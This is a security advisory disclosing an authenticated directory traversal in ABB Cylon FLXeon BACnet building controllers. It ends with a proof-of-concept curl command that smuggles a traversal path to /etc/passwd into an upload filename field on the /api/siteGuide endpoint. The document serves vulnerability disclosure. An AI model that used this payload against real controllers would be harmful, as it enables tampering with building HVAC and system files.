📄 ABB Cylon FLXeon 9.3.5 siteGuide.js Authenticated Directory Traversal

ABB Cylon FLXeon 9.3.5 (siteGuide.js) Authenticated Directory Traversal
    
    
    Vendor: ABB Ltd.
    Product web page: https://www.global.abb                   
    Affected version: FLXeon Series (FBXi Series, FBTi Series, FBVi Series)
                      CBX Series (FLX Series)
                      CBT Series
                      CBV Series
                      Firmware: <=9.3.5
    
    Summary: BACnet® Smart Building Controllers. ABB's BACnet portfolio features a
    series of BACnet® IP and BACnet MS/TP field controllers for ASPECT® and INTEGRA™
    building management solutions. ABB BACnet controllers are designed for intelligent
    control of HVAC equipment such as central plant, boilers, chillers, cooling towers,
    heat pump systems, air handling units (constant volume, variable air volume, and
    multi-zone), rooftop units, electrical systems such as lighting control, variable
    frequency drives and metering.
    
    The FLXeon Controller Series uses BACnet/IP standards to deliver unprecedented
    connectivity and open integration for your building automation systems. It's scalable,
    and modular, allowing you to control a diverse range of HVAC functions.
    
    Desc: The ABB Cylon FLXeon BACnet controller is vulnerable to authenticated file
    traversal via the /api/siteGuide endpoint. An attacker with valid credentials can
    manipulate the filename parameter to move and access or overwrite arbitrary files.
    The issue arises due to improper input validation in siteGuide.js, where user-supplied
    data is not properly sanitized, allowing directory traversal attacks.
    
    Tested on: Linux Kernel 5.4.27
               Linux Kernel 4.15.13
               NodeJS/8.4.0
               Express
    
    
    Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                                @zeroscience
    
    
    Advisory ID: ZSL-2025-5933
    Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5933.php
    
    
    21.04.2024
    
    --
    
    
    $ cat project
    
                     P   R   O   J   E   C   T
    
                            .|
                            | |
                            |'|            ._____
                    ___    |  |            |.   |' .---"|
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         |' | |.    |    ||       | |   |  |    ||      |
     ____|  '-'     '    ""       '-'   '-.'    '`      |____
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             ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░
    
    
    $ curl -k -X POST "https://7.3.3.1/api/siteGuide" \
    > -H "Cookie: user_sid=xxx" \
    > -H "Content-Type: multipart/form-data; boundary=----zeroscience" \
    > -F "[email protected];filename=../../../../../../../etc/passwd" \
    > -F "originalname=testingus.txt" \
    > -F "boundary=----zeroscience--"